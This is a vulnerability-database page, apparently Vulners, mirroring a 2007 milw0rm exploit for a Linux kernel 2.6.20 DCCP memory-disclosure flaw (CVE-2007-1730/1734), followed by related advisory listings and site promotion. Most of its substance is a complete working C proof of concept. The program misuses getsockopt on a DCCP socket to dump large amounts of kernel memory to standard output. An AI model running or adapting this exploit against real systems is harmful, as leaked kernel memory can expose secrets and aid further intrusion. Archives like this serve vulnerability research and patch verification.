Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (2)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| CVE-2007-1730 | 28 Mar 200710:00 | – | cve | |
| CVE-2007-1734 | 28 Mar 200722:00 | – | cve | |
| CVE-2007-1730 | 28 Mar 200710:00 | – | cvelist | |
| CVE-2007-1734 | 28 Mar 200722:00 | – | cvelist | |
| Linux Kernel 2.6.20 with DCCP Support - Memory Disclosure (1) | 27 Mar 200700:00 | – | exploitdb | |
| EUVD-2007-1724 | 7 Oct 202500:30 | – | euvd | |
| EUVD-2007-1728 | 7 Oct 202500:30 | – | euvd | |
| CVE-2007-1730 | 28 Mar 200710:19 | – | nvd | |
| CVE-2007-1734 | 28 Mar 200722:19 | – | nvd | |
| Ubuntu: Security Advisory (USN-464-1) | 23 Mar 200900:00 | – | openvas |
10
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
{
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (mem == (void*)-1) {
printf("Alloc failed\n");
return -1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int len = BUFSIZE;
int x = getsockopt(s, 269, 11, mem, &len);
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
}
// milw0rm.com [2007-03-28]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
03 Oct 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.2
EPSS0.00773